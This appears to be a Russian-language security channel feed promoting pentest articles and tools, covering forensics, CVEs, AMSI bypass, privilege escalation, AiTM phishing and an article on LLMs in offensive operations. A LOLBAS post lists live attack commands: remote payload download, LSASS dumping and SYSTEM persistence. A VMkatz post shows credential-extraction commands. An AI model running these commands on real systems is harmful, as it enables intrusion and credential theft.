Codeby

Почему малварь прячется в RAM — и как её оттуда достать За последний год через одну лабораторию прошло больше двадцати дампов с реальных инцидентов — и во всех случаях малварь жила исключительно в оперативной памяти. Ни одного файла на диске. Классическая дисковая форензика дала бы ноль. 🔍 Fileless-атаки, reflective DLL injection, Cobalt Strike beacon в RWX-регионе легитимного svchost.exe — для антивируса и EDR это выглядит как обычная работа системы. Но в оперативной памяти они оставляют следы, которые никуда не деваются. Почему RAM важнее диска при реагировании Образ диска на 250+ ГБ снимается часами. Дамп RAM на 8–32 ГБ — за минуты. Но дело не только в скорости. Оперативная память хранит то, чего на диске нет в принципе: • Расшифрованный payload — малварь шифрует себя на диске, но в RAM работает в открытом виде • Инжектированный код — Process Injection (T1055) файлов не оставляет, только RWX-регионы в чужом адресном пространстве • Скрытые процессы — руткит выдёргивает процесс из списка, но pool-теги остаются в физической памяти • Активные C2-соединения — с PID, портами и IP, которые лог файервола мог не записать • Хэши и билеты Kerberos — прямо в памяти lsass.exe 🛠 Volatility 3: что изменилось Главная ловушка для тех, кто учился по старым руководствам: в тройке нет --profile. Вместо него — символьные таблицы в формате ISF, которые фреймворк стягивает сам при первом запуске. Не нужно угадывать точный билд Windows — Volatility 3 определяет его автоматически. Синтаксис стал чище: vol -f dump.raw windows.pslist вместо громоздкого vol.py --profile=Win10x64_18362 pslist. Минорные билды Windows поддерживаются без обновления фреймворка. ⚠️ Ключевой момент про снятие дампа Дамп снимается до перезагрузки — это очевидно, но на практике именно здесь теряют артефакты. Перезагрузили хост — потеряли всё. На Windows используется WinPmem: winpmem_mini_x64_rc2.exe output.raw. Сразу после снятия фиксируется контрольная сумма: sha256sum output.raw > output.raw.sha256. Это не формальность — без chain of custody отчёт не примут ни в суде, ни на review у заказчика. 💡 Что реально разделяет pslist и psscan Большинство руководств перечисляют плагины, не объясняя разницу. pslist идёт по двусвязному списку ядра — руткит может выдернуть оттуда запись. psscan сканирует физическую память по pool-тегам — и находит то, что скрыто. Расхождение между выводами двух плагинов — красный флаг. Полный workflow расследования: от снятия дампа до IoC для отчёта — в статье. https://codeby.net/threads/analiz-dampov-pamyati-volatility-3-prakticheskii-workflow-obnaruzheniya-malvari-i-in-yektsii.92825/

Почему Nmap без kill chain — просто сканер портов Каждый раз, когда я веду воркшоп для начинающих, первый вопрос всегда один: «Какие инструменты установить?» И каждый раз я отвечаю встречным: «А на каком этапе атаки ты сейчас находишься?» Разница между джуном и опытным пентестером не в количестве утилит, а в понимании — зачем конкретный инструмент запускается именно сейчас. Nmap без контекста — просто сканер портов. Nmap в начале kill chain — разведывательный модуль, от которого зависит весь дальнейший вектор атаки. 🔍 Большинство гайдов по инструментам хакера строятся как плоский список: вот Nmap, вот Metasploit, вот Wireshark — пользуйтесь. Это примерно как дать человеку скальпель, пилу и зажим и сказать: «Теперь ты хирург». Без понимания последовательности инструменты бесполезны. В реальном пентесте каждый шаг определяет следующий. Сначала разведка — выясняешь, что вообще живёт на периметре. Затем анализ поверхности атаки — ищешь веб-приложения, открытые сервисы, точки входа. Потом эксплуатация — превращаешь найденную уязвимость в доступ. После — повышение привилегий и перемещение по сети. ⚡ MITRE ATT&CK формализует эту логику. Каждой фазе соответствуют конкретные техники. Запускаешь Nmap — выполняешь Network Service Discovery (T1046). Пробиваешь веб-форму через SQLmap — Exploit Public-Facing Application (T1190). Перебираешь пароли Hydra — Brute Force (T1110). Такой подход делает пентест системным и позволяет писать отчёты, которые заказчик реально может использовать. 🛠 Что конкретно даёт привязка к kill chain? Возьмём типичный вывод nmap -sV -sC -p- 10.10.10.100: • Порт 22 с OpenSSH 7.9 — проверяем на известные CVE, но скорее всего идём через веб • MySQL на порту 3306 торчит наружу — потенциальный вектор брутфорса (зачем он вообще открыт на периметре?) • Apache Tomcat 9.0.30 на 8080 — горячая находка: старые версии часто содержат дыры в менеджере деплоя Это не просто список открытых портов. Это карта решений: куда идти дальше, что фаззить, что брутить, где искать CVE. 🎯 Опытные пентестеры при работе с десятками хостов комбинируют инструменты: Masscan делает быстрое первичное сканирование всех портов, а Nmap с флагом -sV точечно добивает найденное. NSE-скрипты добавляют глубину: smb-vuln-ms17-010 проверяет EternalBlue, ssl-heartbleed обнаруживает Heartbleed, а http-enum находит стандартные директории веб-серверов за один проход. Это лишь первая фаза из десяти. Дальше — Burp Suite, SQLmap, Metasploit, Hydra, Hashcat и другие инструменты, каждый из которых привязан к конкретному этапу атаки. Читай полный разбор в статье 👇 https://codeby.net/threads/instrumenty-pentestera-top-10-s-real-nymi-primerami-v-kazhdoi-faze-ataki.92812/

XSS — это не просто alert(1) Это уязвимость, которая может привести к краже сессии и полному захвату аккаунта. Разобрали основные типы XSS и как от них защищаться — в карточках выше 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Альфа-Банк собирает хакеров на соревнования — среди лучших спецов разыгрывают 3 100 000 рублей. В этот раз участвовать могут и школьники — победителям этого трека банк оплатит поездку на научную конференцию. Такие турниры — хорошая строчка в резюме: участие поможет при трудоустройстве. Соревноваться можно из любой точки мира, нужно только зарегистрироваться до 25 апреля. Регистрация

RCE за три шага: как читать CVE advisory и не останавливаться на CVSS-балле Большинство пентестеров смотрят на новую CVE, запоминают цифру 9.8 и идут дальше. Между тем в тексте advisory уже лежит готовый рецепт эксплойта — если знать, куда смотреть. 🔍 Три фазы для любого PHP/JS-стека: 1. Декомпозиция advisory — читать NVD, GHSA и CISA KEV. Вектор AV:N/AC:L/PR:N/UI:N сразу говорит: pre-auth RCE, максимальный приоритет 2. Patch diffing — коммит из GHSA показывает точку входа. Замена unserialize() или dol_eval() — ваш маяк 3. Цепочка до PoC — CWE-классификация как карта: CWE-502 → gadget chain, CWE-22 → доставка payload Разобраны CVE-2025-32432 в Craft CMS (CVSS 10.0, CISA KEV) и CVE-2025-55182 в React Server Components — от advisory до шелла. https://codeby.net/threads/ekspluatatsiya-cve-v-veb-prilozheniyakh-ot-chteniya-advisory-do-rce-za-tri-shaga.92809/

Один POST-запрос — и ты root. Без пароля. 🔓 Два command injection в роутере Totolink A7100RU работают без аутентификации. HTTP POST к /cgi-bin/cstecgi.cgi — и атакующий получает полный контроль. PoC уже на GitHub, патча нет. cstecgi.cgi парсит JSON, берёт значение параметра и без проверок скармливает его в system() через sprintf(). Параметр ttyEnable, задуманный как булевый флаг, принимает строку любой длины с shell-метасимволами. ⚙️ В статье: • Распаковка прошивки через binwalk и анализ MIPS-бинарника в Ghidra • Формирование запросов для CVE-2026-6112 и CVE-2026-6113 • Готовые Suricata-правила для детекции MITRE ATT&CK, CVSS 4.0 и разбор CWE-77/CWE-78 на реальном коде — в статье: https://codeby.net/threads/cve-2026-6112-i-cve-2026-6113-uyazvimost-command-injection-v-totolink-a7100ru-ot-analiza-proshivki-do-detektsii.92788/

Charming Kitten не взламывает системы — они взламывают людей Недели переписки в WhatsApp, легитимные PDF, приглашения на реальные конференции. И только потом — ссылка. Ни малвари, ни эксплойтов. Просто украденная сессия и полный доступ к Microsoft 365. APT42 (Charming Kitten, IRGC-IO) работает иначе: • Фейковые аккаунты журналистов и организаторов конференций выстраивают доверие неделями • Фишинговые киты перехватывают TOTP-код в реальном времени — MFA не спасает • Инфраструктура на Google Sites и Cloudflare Workers не триггерит блокировки Стандартный SOC заточен под вредоносные вложения и подозрительные домены. APT42 не даёт ни того, ни другого — атака идёт на личный Gmail, где корпоративная защита не работает. Полный kill chain с маппингом на MITRE ATT&CK и примерами детектирования в SIEM: https://codeby.net/threads/apt42-sotsial-naya-inzheneriya-kak-irgc-khakery-obkhodyat-mfa-i-kradut-uchetnyye-dannyye-bez-malvari.92779/

Непонятный blob в cookie → reverse shell за 30 секунд За этой «магией» — конкретная механика, которую важно понять, чтобы не застрять в поиске gadget chain на три вечера. 🔍 Как распознать формат в трафике: • Java: Base64 начинается с rO0AB (байты ac ed 00 05) • PHP: маркеры O:, a:, s: — читаются глазами • Python pickle: бинарный поток с байтом \x80 ⚙️ Ключевой инсайт: уязвимость — не в библиотеке вроде Apache Commons Collections, а в приложении, которое скармливает недоверенные данные в readObject(). Библиотека в classpath — не дыра. Дыра — когда пользовательский ввод до неё добирается. Дальше: как подобрать gadget chain через ysoserial и phpggc, какие CVE эксплуатировать на WebLogic и PHP-фреймворках, и как строить цепочки вручную. https://codeby.net/threads/uyazvimosti-deserializatsii-ekspluatatsiya-cherez-ysoserial-phpggc-i-postroyeniye-gadget-chain.92777/

За апрель на форуме вышло 111 материалов. Мы посмотрели Метрику и увидели закономерность, которую не покажет ни один рейтинг «по просмотрам». Самая читаемая статья месяца, разбор реальных техник применения LLM в атакующих операциях (569 уникальных читателей). Без хайпа про «ИИ заменит пентестера»: конкретные сценарии разведки, генерация payload под редкий таргет, и та самая граница, за которой модель начинает галлюцинировать и портить операцию. https://codeby.net/threads/ii-v-penteste-real-nyye-tekhniki-ispol-zovaniya-llm-v-atakuyushchikh-operatsiyakh.92644/ Но интереснее смотреть не на трафик, а на глубину. Техническая статья про kernel rootkit в Linux, перехват syscall table, модификация VFS, сокрытие процессов через /proc, собрала «всего» 280 посетителей. А среднее время чтения 1:37. Для kernel-level материала это аномалия: обычно такие вещи смотрят по диагонали и закрывают на второй странице листинга. Те, кто пришёл, сидели с кодом. https://codeby.net/threads/kernel-rootkit-linux-perekhvat-syscall-table-modifikatsiya-vfs-i-sokrytiye-protsessov-ot-koda-do-detektirovaniya.92640/ То же самое с апрельским Zero-Day в Telegram (ZDI-CAN-30207, CVSS 9.8). 413 посетителей и показатель отказов 11%, читатели уходили только после того, как дочитывали разбор вектора до конца. https://codeby.net/threads/zero-day-v-telegram-zdi-can-30207-razbor-uyazvimosti-telegram-zero-day-s-otsenkoi-cvss-9-8.92557/ А вот что неожиданно: сравнение OSCP, CEH, eJPT и PNPT, казалось бы, «попсовая» тема про серты, дала средний retention 3:06. Потому что без маркетинга: стоимость, формат экзамена, что реально спрашивают на собеседованиях в РФ, какая серта открывает двери, а какая висит красивым PDF. https://codeby.net/threads/sertifikatsiya-po-pentestu-oscp-vs-ceh-vs-ejpt-vs-pnpt-chestnoye-sravneniye-ot-praktika.92610/ И единственная статья из топа, которая уже собирает органику из Яндекса (CTR 7.7%), roadmap в пентест от практика. Без «выучите тысячи инструментов», с привязкой к реальным вопросам на собесах в 2026. https://codeby.net/threads/kak-stat-pentesterom-s-nulya-roadmap-ot-cheloveka-kotoryi-proshel-etot-put.92680/ Что из этого следует: на форум приходят не за «новостями из мира ИБ», а за материалом, который можно применить в понедельник на работе. Кто-то дочитывает про rootkit до последнего листинга, кто-то разбирается с сертификацией под конкретную вакансию, кто-то ищет, как устроен CVSS 9.8 изнутри. А вам что из апрельского зашло сильнее, и что применили в работе?

Burp Suite + OWASP Top 10: какой плагин ставить и зачем Один extension на каждую категорию OWASP: • A01 Broken Access Control → Autorize: вставил cookie низкопривилегированного юзера, браузишь как админ — красный «Bypassed!» = готовый IDOR • A03 Injection → ActiveScan++: добавляет XXE, SSTI, улучшенный SQLi • A04 Insecure Design → Turbo Intruder: race conditions на промокодах — тысячи req/sec • A07 Auth Failures → JWT Editor: атаки alg:none, weak secret, key confusion из Repeater • A10 SSRF → Collaborator Everywhere: браузишь приложение, extension инжектирует заголовки и ловит out-of-band callbacks Плюс Param Miner (до 65 000 параметров за запрос) и Retire.js для уязвимых JS-библиотек. https://codeby.net/threads/burp-suite-extensions-shpargalka-po-owasp-top-10-2025-kakoi-plagin-stavit-i-zachem.92768/

Комбинация, которая обычно не собирается в одном резюме: сетевик с действующим CCNA, 15 лет практики, удалённый формат по умолчанию и четыре рабочих языка — русский, английский, грузинский, греческий. На форуме Codeby появился специалист, который закрывает связку «сети — системное администрирование — кибербез — техподдержка» без дробления на четыре разные роли. За плечами — полтора десятка лет в проде и действующие сертификаты Cisco и Microsoft. Такой профиль имеет смысл присмотреть, если вы: — держите небольшой интегратор или MSP и не готовы выделять отдельных людей под каждое направление; — работаете с клиентами на Кипре, в Греции или в Грузии и регулярно упираетесь в языковой барьер; — ищете внешние руки для сетевой инфраструктуры без найма сетевика в штат; — закрываете NOC/поддержку по дежурствам и нужен универсал, который не путается в вопросах безопасности. Специалистов с таким стажем в сетях обычно быстро «поднимают» в архитекторы или замыкают на одного вендора. Универсалы-удалёнщики со свежими сертификатами и несколькими рабочими языками — скорее исключение, чем норма. Полный профиль с контактами — в теме резюме: https://codeby.net/threads/ishchu-rabotu-v-sfere-it.92754/ Ищете других кандидатов или хотите разместить вакансию — раздел «Карьера в ИБ»: https://codeby.net/forums/kar-yera-v-ib-vakansii-i-proyekty.23/

👥VMkatz

Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.

Для работы используется один статический двоичный файл размером ~3 МБ. Загрузите его на хост ESXi, узел Proxmox или в сетевое хранилище. Укажите .vmsn или .vmdk или целую папку с виртуальными машинами. Получите учетные данные, а не образы дисков. ⬇️Установка Клонируем репозиторий, компилируем. Двоичный файл будет лежать по пути target/x86_64-unknown-linux-musl/release.

git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help

Поддерживаемые входные данные 📉Снимки VMware в формате .vmsn + .vmem; 📉Встроенные снимки VMware в формате .vmsn (без .vmem); 📉Сохранённые состояния VirtualBox в формате .sav; 📉Состояния savevm QEMU/KVM; 📉ELF core dump’ы QEMU/KVM в формате .elf; 📉Сохранённые состояния Hyper-V в формате .vmrs; 📉Виртуальные диски VMware в формате .vmdk; 📉Виртуальные диски VirtualBox в формате .vdi; 📉Виртуальные диски QEMU/KVM в формате .qcow2; 📉Виртуальные диски Hyper-V в формате .vhdx, .vhd; 📉RAW SCSI-устройства VMFS-5/6 в формате /dev/disks/...; 📉Сырые файлы реестра Windows в формате SAM, SYSTEM, SECURITY; 📉Сырой файл NTDS.dit в формате ntds.dit + SYSTEM; 🖱Минидамп процесса LSASS в формате .dmp. Использование 1️⃣Извлечение учетных данных LSASS из снимка VMware.

./vmkatz snapshot.vmsn

2️⃣Указание пути до виртуальной директории с целью поиска необходимых файлов.

./vmkatz /path/to/vm-directory/

3️⃣Экспорт BitLocker FVEK.

./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

4️⃣Рекурсивное сканирование всех виртуальных машин по пути /vmfs/volumes/datastore1/.

./vmkatz -r /vmfs/volumes/datastore1/

#tools #credentials #vmware 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Beacon жив — но через 60 секунд его нет Initial access получен, C2 поднят. Потом `MsMpEng.exe` режет нагрузку, Script Block Logging пишет каждый чих, AppLocker не даёт запустить ничего. Знакомо? 🔍 Windows-защита — четыре независимых эшелона: • Статический движок Defender — сигнатуры, ML, PE-фичи • AMSI — runtime-перехват в адресном пространстве процесса • ETW — телеметрия для EDR на kernel-level • AppLocker — application whitelisting на уровне user-mode Ключевой инсайт: охранник сидит в одной камере с заключённым. amsi.dll загружается в каждую PowerShell-сессию с теми же привилегиями, что и вредоносный код. Классический патчинг AmsiScanBuffer оставляет следы в .text-секции — EDR это видит. Hardware breakpoints через DR0–DR3 обходят сканирование без записи в память. https://codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763/

SeImpersonatePrivilege — и ты уже на полпути к SYSTEM Получил reverse shell от доменного юзера. whoami /priv — стандартный набор, ничего интересного. Что дальше? 🎯 Порядок приоритетов при LPE: 1. Токен — SeImpersonatePrivilege у сервисных аккаунтов IIS/MSSQL открывает Potato-атаки прямо к SYSTEM 2. Сервисы — Unquoted Service Path встречается на каждом втором пентесте, а SERVICE_CHANGE_CONFIG для группы Users — прямой билет наверх 3. UAC bypass — десятки техник без GUI, когда застрял на medium integrity 4. Kernel exploits — последнее средство: объяснять заказчику BSOD на продакшне — сомнительное удовольствие ⚡ Если оба ключа AlwaysInstallElevated выставлены в `1` — любой MSI устанавливается от SYSTEM. Полный разбор техник, команд и нюансов эксплуатации: https://codeby.net/threads/povysheniye-privilegii-windows-ekspluatatsiya-miskonfiguratsii-tokenov-i-obkhod-uac-na-praktike.92759/

LOLBAS шпаргалка: пост-эксплуатация Windows штатными средствами EDR снёс инструментарий, но cmd/PowerShell живы — Windows сама несёт всё нужное: • curl.exe -s -o C:\Temp\f.exe http://IP/f.exe — загрузка файла (Win10 1803+), сигнатуры слабее чем на certutil • rundll32.exe comsvcs.dll, MiniDump C:\Temp\lsass.dmp full — дамп LSASS без Mimikatz, нужен SeDebugPrivilege • regsvr32.exe /s /n /u /i:http://IP/payload.sct scrobj.dll — Squiblydoo, обход AppLocker • msbuild.exe C:\Temp\payload.csproj — компиляция C# inline, обход AppLocker • schtasks /create /tn "WindowsUpdate" /tr "beacon.exe" /sc onlogon /ru SYSTEM /f — persistence без PowerShell ATT&CK-маппинг, флаги и ограничения (WDAC, Server Core) — в полной шпаргалке: https://codeby.net/threads/lolbas-shpargalka-komandy-post-ekspluatatsii-windows-bez-storonnikh-instrumentov.92752/

WPProbe: Инструмент для сканирования и оценки безопасности WordPress

WPProbe — это высокопроизводительный сканер безопасности с открытым исходным кодом, предназначенный для обнаружения установленных плагинов и тем WordPress, а также их сопоставления с известными уязвимостями из баз данных Wordfence и WPScan. Инструмент использует WordPress для скрытного обнаружения компонентов, что позволяет минимизировать риск блокировки со стороны систем безопасности. WPProbe разработан для использования специалистами по тестированию на проникновение, администраторами сайтов и исследователями безопасности.

🎇Основные функции - Скрытное обнаружение через REST API (идентификация более 5000 плагинов без прямого перебора директорий) - Три режима сканирования - Stealthy (по умолчанию), Bruteforce, Hybrid - Поддержка сканирования нескольких целей одновременно - Поддержка JSON и CSV для интеграции в конвейеры обработки - Фильтрация по CVE, плагину, критичности и типу аутентификации - Встроенный механизм обновления бинарного файла и базы данных ⬇️Установка

sudo apt  install wpprobe

Проверка

wpprobe -h

⏺️Для получения свежих данных непосредственно от Wordfence можно использовать бесплатный API-ключ

#с указанием ключа
wpprobe update-db --api-key ваш_wordfence_api_ключ

#или через переменную окружения
export WORDFENCE_API_KEY=ваш_ключ
wpprobe update-db

⏺️Базовое сканирование одного сайта

wpprobe scan -u https://example.com

⏺️Сканирование с указанием режима

#скрытный режим (по умолчанию)
wpprobe scan -u https://example.com --mode stealthy

#агрессивный режим (прямой перебор)
wpprobe scan -u https://example.com --mode bruteforce

#гибридный режим
wpprobe scan -u https://example.com --mode hybrid

⏺️Массовое сканирование из файла (файл targets.txt содержит по одному URL на строку)

wpprobe scan -f targets.txt -t 20

Параметр -t задает количество одновременных потоков для ускорения обработки ⏺️Сохранение результатов

#CSV формат
wpprobe scan -u https://example.com -o results.csv

#JSON формат
wpprobe scan -u https://example.com -o results.json

⏺️Поиск уязвимостей по CVE

wpprobe search --cve CVE-2024-1234

⏺️Быстрая проверка клиентского сайта перед обновлением

wpprobe update-db
wpprobe scan -u https://client-site.com -o scan_report.csv

⏺️Поиск критических уязвимостей для приоритетного исправления

wpprobe search --severity critical --details

⏺️Проверка нового плагина перед установкой

wpprobe search --plugin newly-acquired-plugin-name

🔎Ограничения и рекомендации - Скрытный метод обнаружения требует, чтобы REST API WordPress был доступен. Некоторые плагины или настройки безопасности могут его отключать - Если плагин установлен, но неактивен или скрыт системами безопасности, он может остаться незамеченным - Для максимальной точности рекомендуется использовать API-ключи для получения свежих данных #WordPress #PluginScanner #RESTAPI #tool #pentest 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

11 строк кода — и ваша сессия уже у атакующего Ставите расширение-переводчик. Оно честно переводит страницы — и в фоне перехватывает каждый Authorization-заголовок, сливая Bearer-токен через fetch(). Никакого 0-day — только API, который браузер сам отдал. 🔍 Расширение с правом <all_urls> видит весь трафик: банк, корпоративный портал, почту. Обработчик onBeforeSendHeaders получает Cookie, Authorization, X-CSRF-Token до отправки на сервер. Жертва не замечает ничего. ⚠️ 42% вредоносных расширений с 2018 года злоупотребляли webRequest. Manifest V3 вектор не закрыл. Двухфакторка не спасает — расширение внутри периметра доверия браузера. Полный разбор с PoC-кодом и семплами из Chrome Web Store: https://codeby.net/threads/kak-brauzernyye-rasshireniya-kradut-dannyye-webrequest-declarativenetrequest-i-tekhniki-perekhvata-trafika.92749/

Themida снята через unlicense — но динамический анализ не живёт. ScyllaHide падает в Fatal Error 0x00005c, KsDumper молчит, TitanHide крашит процесс. Патч от третьих лиц через MinHook непонятным образом проходит проверку контрольной суммы импортов и переводит приложение с Dongle-проверки на сверку лицензии с файлом в папке. Алгоритм генерации этого файла — внутри. Но добраться до него не получается: защищённые .dll, замусоренный трейс после MinHook_Initialise_Hook, и приложение ещё и детектит VM. 🎯 Что уже стоит на столе у автора: • Unlicense отработал, IAT и OEP восстановлены — есть unpacked_.exe для статики • MinHook в чужом патче почему-то проходит CRC-проверку импортов/экспортов — и это само по себе вопрос • Динамика умерла: 64dbg + ScyllaHide = Violation Access, чем больше опций включено, тем стабильнее краш • Подозрение, что оригинальный алгоритм генерации затёрт, а рабочий спрятан в injected DLL — тоже под Themida 🔍 У человека конкретные три вопроса: как отличить hooked-функцию от динамически подгруженной из уже пропатченных библиотек, стоит ли дальше копать динамику через обход debugger detection, и как снимать защиту с .dll если она под VMProtect сверху. Если кто-то воевал с Themida на .dll или разбирался с injected MinHook-патчами без исходников — загляните, человек не новичок, но застрял на 4-й день. https://codeby.net/threads/vopros-khuk-vytashchit-algoritm-generatsii-themida.92760/

🤖IoTHackBot

Набор специализированных инструментов с интеграцией Claude Code, предназначенных для тестирования на безопасность IoT-устройств, IP-камер и встроенных систем. Он включает в себя как инструменты командной строки, так и рабочие процессы с использованием искусственного интеллекта для комплексной оценки безопасности IoT.

➡️Для установки необходимо установить зависимости, склонировать репозиторий, добавить каталог bin в переменную PATH и для удобного запуска добавить бинарные файлы инструмента в конфигурацию оболочки.

pip install colorama pyserial pexpect requests
git clone https://github.com/BrownFineSecurity/iothackbot.git
cd iothackbot
export PATH="$PATH:$(pwd)/bin"
echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc

🔗Представляет собой следующий набор инструментов Обнаружение и разведка сети ⏺️wsdiscovery — сканер протокола WS-Discovery для поиска ONVIF-камер и IoT-устройств; ⏺️iotnet — анализатор сетевого трафика IoT для выявления протоколов и уязвимостей; ⏺️netflows — извлечение сетевых потоков с разрешением DNS-имён из pcap-файлов. Тестирование для конкретного устройства ⏺️onvifscan — сканер безопасности ONVIF-устройств: проверка обхода аутентификации, перебор учётных данных. Анализ прошивки и файлов ⏺️chipsec — статический анализ прошивок UEFI/BIOS: обнаружение известных руткитов (LoJax, ThinkPwn, HackingTeam), генерация списка EFI-исполняемых файлов с хешами, декодирование структуры прошивки и извлечение NVRAM. ⏺️ffind — продвинутый поиск файлов с определением типов и извлечением файловых систем: определяет типы артефактных файлов, извлекает файловые системы ext2/3/4 и F2FS. Анализ Android ⏺️apktool — распаковка APK и извлечение ресурсов: декодирование AndroidManifest.xml, извлечение ресурсов, интерфейсов и строк, дизассемблирование в smali-код. ⏺️jadx — декомпиляция APK: преобразование DEX в читаемый Java-код, поиск захардкоженных учётных данных, анализ логики приложения Доступ к оборудованию и консоли ⏺️picocom — взаимодействие с UART-консолью IoT-устройств: управление загрузчиком, перебор и анализ shell-доступа, извлечение прошивки. ⏺️telnetshell — работа с telnet-shell на IoT-устройствах: проверка неаутентифицированного доступа к shell, сбор информации об устройстве, работа с командами BusyBox. ⛓️‍💥Использование ▶️Проверка безопасности устройств ONVIF.

onvifscan auth http://192.168.1.100
onvifscan brute http://192.168.1.100

▶️Анализ файла PCAP на предмет протоколов Интернета вещей.

iotnet capture.pcap

▶️Извлечение файловых систем из прошивки устройства.

sudo ffind firmware.bin -e

#tools #IoT #pentest 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

MFA пройден — жертвой же и обойдён Представь сценарий: пользователь вводит логин, пароль, жмёт «Подтвердить» в Authenticator — и искренне считает, что защищён. В этот момент атакующий уже импортирует его session cookie в свой браузер и читает его почту. Без брутфорса. Без перебора OTP. MFA прошла сама жертва — через прокси. Это не теория и не CVE из бюллетеня. Это AiTM-фишинг (Adversary-in-the-Middle) — рабочая индустрия с подпиской от 100 до 1000 долларов в месяц за готовый кит. 🔢 Цифры, которые неудобно игнорировать • По данным Sekoia, с января по апрель 2025-го в активной коммерческой эксплуатации крутилось 11 различных AiTM-китов • Только за октябрь 2025 Microsoft Defender заблокировал более 13 миллионов писем одной кампании Tycoon 2FA • К августу 2024-го практически 100% наблюдаемых кампаний мигрировали от классического credential harvesting к proxy-based перехвату • По данным Obsidian Security, 84% скомпрометированных аккаунтов уже имели включённый MFA 🎯 Почему TOTP, push и SMS здесь не помогают Классический Man-in-the-Middle работает на сетевом уровне — его нейтрализует TLS. AiTM работает на уровне приложения и специально заточен под обход MFA. TLS его не останавливает, потому что прокси сам является конечной точкой обоих соединений. Жертва устанавливает TLS-соединение с сервером атакующего. Атакующий устанавливает своё TLS-соединение с легитимным IdP. Два отдельных зашифрованных канала. Жертва видит настоящую страницу Microsoft — не копию, а реальный контент через прокси. Вводит данные, проходит MFA-challenge. После успешной аутентификации IdP выдаёт session cookie — и атакующий перехватывает его до того, как он доберётся до браузера жертвы. 🛠 Три инструмента, которые делают это реальным Evilginx3 — standalone-приложение на Go со встроенным DNS-сервером, автоматическими TLS-сертификатами и модульной конфигурацией через phishlets. Phishlet — YAML-файл, где прописано: какие поддомены проксировать, какие POST-параметры содержат credentials и какие cookie являются session tokens. Для M365 это обычно ESTSAUTH и ESTSAUTHPERSISTENT. Evilginx на лету переписывает все ссылки в HTML/JS-ответах, подставляя фишинговые поддомены вместо оригинальных. Modlishka и Muraena — альтернативные прокси-фреймворки с похожей логикой, но разными подходами к конфигурации и обходу детекта. Все три реализуют одну идею: стать невидимым посредником между жертвой и легитимным сервисом. 🔵 Что работает на синей стороне Ни TOTP, ни push, ни SMS не спасают — они все транзитом проходят через прокси. Реально помогают: FIDO2/passkeys (привязаны к домену, прокси не может подделать), Conditional Access с анализом аномалий сессии и мониторинг UserAgent — после импорта cookie браузер атакующего почти всегда отличается от браузера жертвы. Полная механика атаки, конфигурация Evilginx и индикаторы детекта для каждого фреймворка — в статье. Читай, пока твои пользователи уверены, что MFA их защищает. https://codeby.net/threads/aitm-fishing-obkhod-mfa-cherez-evilginx-modlishka-i-muraena.92741/